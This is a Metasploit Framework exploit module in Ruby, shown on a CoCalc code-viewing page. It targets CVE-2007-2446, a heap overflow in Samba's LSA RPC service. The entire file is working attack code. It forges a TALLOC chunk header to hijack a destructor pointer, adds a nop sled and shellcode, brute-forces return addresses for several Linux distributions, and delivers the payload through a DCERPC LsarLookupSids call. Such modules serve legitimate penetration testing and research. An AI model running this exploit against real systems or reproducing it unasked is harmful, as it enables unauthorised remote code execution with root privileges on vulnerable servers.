Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/lsa_transnames_heap.rb
21626 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Exploit::Brute
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
18
'Description' => %q{
19
This module triggers a heap overflow in the LSA RPC service
20
of the Samba daemon. This module uses the TALLOC chunk overwrite
21
method (credit Ramon and Adriano), which only works with Samba
22
versions 3.0.21-3.0.24. Additionally, this module will not work
23
when the Samba "log level" parameter is higher than "2".
24
},
25
'Author' => [
26
'Ramon de C Valle',
27
'Adriano Lima <adriano[at]risesecurity.org>',
28
'hdm'
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['CVE', '2007-2446'],
33
['OSVDB', '34699'],
34
],
35
'Privileged' => true,
36
'Payload' => {
37
'Space' => 1024 # no limit really
38
},
39
'Platform' => 'linux',
40
'DefaultOptions' => {
41
'PrependSetresuid' => true,
42
'PrependSetreuid' => true,
43
'PrependSetuid' => true
44
},
45
'Targets' => [
46
[
47
'Linux vsyscall',
48
{
49
'Platform' => 'linux',
50
'Arch' => [ ARCH_X86 ],
51
'Nops' => 1024,
52
'Bruteforce' =>
53
{
54
'Start' => { 'Ret' => 0xffffe410 },
55
'Stop' => { 'Ret' => 0xffffe413 },
56
'Step' => 1
57
}
58
}
59
],
60
61
##
62
# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian) # KF
63
# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo) # hdm
64
# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
65
# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE) # Adriano/Ramon
66
# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware) # Adriano/Ramon
67
# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu) # hdm
68
# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP) # Andrew
69
#
70
##
71
72
[
73
'Linux Heap Brute Force (Debian/Ubuntu)',
74
{
75
'Platform' => 'linux',
76
'Arch' => [ ARCH_X86 ],
77
'Nops' => 64 * 1024,
78
'Bruteforce' =>
79
{
80
'Start' => { 'Ret' => 0x08352000 },
81
'Stop' => { 'Ret' => 0x0843d000 },
82
'Step' => 60 * 1024
83
84
}
85
}
86
],
87
88
[
89
'Linux Heap Brute Force (Gentoo)',
90
{
91
'Platform' => 'linux',
92
'Arch' => [ ARCH_X86 ],
93
'Nops' => 64 * 1024,
94
'Bruteforce' =>
95
{
96
'Start' => { 'Ret' => 0x80310000 },
97
'Stop' => { 'Ret' => 0x8042f000 },
98
'Step' => 60 * 1024
99
100
}
101
}
102
],
103
104
[
105
'Linux Heap Brute Force (Mandriva)',
106
{
107
'Platform' => 'linux',
108
'Arch' => [ ARCH_X86 ],
109
'Nops' => 64 * 1024,
110
'Bruteforce' =>
111
{
112
'Start' => { 'Ret' => 0x80380000 },
113
'Stop' => { 'Ret' => 0x8045b000 },
114
'Step' => 60 * 1024
115
116
}
117
}
118
],
119
120
[
121
'Linux Heap Brute Force (RHEL/CentOS)',
122
{
123
'Platform' => 'linux',
124
'Arch' => [ ARCH_X86 ],
125
'Nops' => 64 * 1024,
126
'Bruteforce' =>
127
{
128
'Start' => { 'Ret' => 0xb800f000 },
129
'Stop' => { 'Ret' => 0xb80c9000 },
130
'Step' => 60 * 1024
131
132
}
133
}
134
],
135
136
[
137
'Linux Heap Brute Force (SUSE)',
138
{
139
'Platform' => 'linux',
140
'Arch' => [ ARCH_X86 ],
141
'Nops' => 64 * 1024,
142
'Bruteforce' =>
143
{
144
'Start' => { 'Ret' => 0x80365000 },
145
'Stop' => { 'Ret' => 0x80424000 },
146
'Step' => 60 * 1024
147
148
}
149
}
150
],
151
152
[
153
'Linux Heap Brute Force (Slackware)',
154
{
155
'Platform' => 'linux',
156
'Arch' => [ ARCH_X86 ],
157
'Nops' => 64 * 1024,
158
'Bruteforce' =>
159
{
160
'Start' => { 'Ret' => 0x8033c000 },
161
'Stop' => { 'Ret' => 0x80412000 },
162
'Step' => 60 * 1024
163
164
}
165
}
166
],
167
168
[
169
'Linux Heap Brute Force (OpenWRT MIPS)',
170
{
171
'Platform' => 'linux',
172
'Arch' => [ ARCH_MIPSBE ],
173
'Nops' => 64 * 1024,
174
'Bruteforce' =>
175
{
176
'Start' => { 'Ret' => 0x55900000 },
177
'Stop' => { 'Ret' => 0x559c0000 },
178
'Step' => 60 * 1024
179
}
180
}
181
],
182
183
[
184
'DEBUG',
185
{
186
'Platform' => 'linux',
187
'Arch' => [ ARCH_X86 ],
188
'Nops' => 1024,
189
'Bruteforce' =>
190
{
191
'Start' => { 'Ret' => 0xAABBCCDD },
192
'Stop' => { 'Ret' => 0xAABBCCDD },
193
'Step' => 4
194
}
195
}
196
],
197
],
198
'DisclosureDate' => '2007-05-14',
199
'DefaultTarget' => 0,
200
'Notes' => {
201
'Stability' => [CRASH_SERVICE_RESTARTS],
202
'Reliability' => [REPEATABLE_SESSION],
203
'SideEffects' => [IOC_IN_LOGS]
204
}
205
)
206
)
207
208
register_options(
209
[
210
OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'LSARPC']),
211
]
212
)
213
214
deregister_options('SMB::ProtocolVersion')
215
end
216
217
def check
218
connect(versions: [1])
219
smb_login
220
disconnect
221
222
if smb_peer_lm =~ /Samba/i
223
return CheckCode::Detected
224
end
225
226
CheckCode::Safe
227
rescue StandardError
228
return CheckCode::Safe
229
end
230
231
def brute_exploit(target_addrs)
232
if (!@nops)
233
if (target['Nops'] > 0)
234
print_status('Creating nop sled....')
235
@nops = make_nops(target['Nops'])
236
else
237
@nops = ''
238
end
239
240
# @nops = "\xcc" * (@nops.length)
241
end
242
243
print_status('Trying to exploit Samba with address 0x%.8x...' % target_addrs['Ret'])
244
245
nops = @nops
246
pipe = datastore['SMBPIPE'].downcase
247
248
print_status('Connecting to the SMB service...')
249
connect(versions: [1])
250
smb_login
251
252
if !@checked_peerlm && (smb_peer_lm !~ /Samba 3\.0\.2[1234]/i)
253
fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
254
end
255
256
@checked_peerlm = true
257
258
datastore['DCERPC::fake_bind_multi'] = false
259
260
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
261
print_status("Binding to #{handle} ...")
262
dcerpc_bind(handle)
263
print_status("Bound to #{handle} ...")
264
265
jumper = 'P' * 256
266
jumper[24, 5] = "\xe9" + [-5229 - 11 - 5 - (nops.length / 2)].pack('V')
267
268
num_entries = 256
269
num_entries2 = 272
270
271
# first talloc_chunk
272
# 16 bits align
273
# 16 bits sid_name_use
274
# 16 bits uni_str_len
275
# 16 bits uni_max_len
276
# 32 bits buffer
277
# 32 bits domain_idx
278
buf = (('A' * 16) * num_entries)
279
280
# padding
281
buf << 'A' * 8
282
283
# TALLOC_MAGIC
284
talloc_magic = "\x70\xec\x14\xe8"
285
286
# second talloc_chunk header
287
buf << NDR.long(0) + NDR.long(0) # next, prev
288
buf << NDR.long(0) + NDR.long(0) # parent, child
289
buf << NDR.long(0) # refs
290
buf << [target_addrs['Ret']].pack('V') # destructor
291
buf << 'A' * 4 # name
292
buf << 'A' * 4 # size
293
buf << talloc_magic # flags
294
buf << jumper
295
296
stub = lsa_open_policy(dcerpc)
297
298
stub << NDR.long(0) # num_entries
299
stub << NDR.long(0) # ptr_sid_enum
300
stub << NDR.long(num_entries) # num_entries
301
stub << NDR.long(0x20004) # ptr_trans_names
302
stub << NDR.long(num_entries2) # num_entries2
303
stub << buf
304
stub << nops
305
stub << payload.encoded
306
307
print_status('Calling the vulnerable function...')
308
309
begin
310
# LsarLookupSids
311
dcerpc.call(0x0f, stub)
312
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
313
print_status('Server did not respond, this is expected')
314
rescue Rex::Proto::DCERPC::Exceptions::Fault
315
print_error('Server is most likely patched...')
316
rescue StandardError => e
317
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
318
print_status('Server disconnected, this is expected')
319
else
320
print_error("Error: #{e.class}: #{e}")
321
end
322
end
323
324
handler
325
disconnect
326
end
327
328
def lsa_open_policy(dcerpc, server = '\\')
329
stubdata =
330
# Server
331
NDR.uwstring(server) +
332
# Object Attributes
333
NDR.long(24) + # SIZE
334
NDR.long(0) + # LSPTR
335
NDR.long(0) + # NAME
336
NDR.long(0) + # ATTRS
337
NDR.long(0) + # SEC DES
338
# LSA QOS PTR
339
NDR.long(1) + # Referent
340
NDR.long(12) + # Length
341
NDR.long(2) + # Impersonation
342
NDR.long(1) + # Context Tracking
343
NDR.long(0) + # Effective Only
344
# Access Mask
345
NDR.long(0x02000000)
346
347
dcerpc.call(6, stubdata)
348
349
dcerpc.last_response.stub_data[0, 20]
350
end
351
end
352
353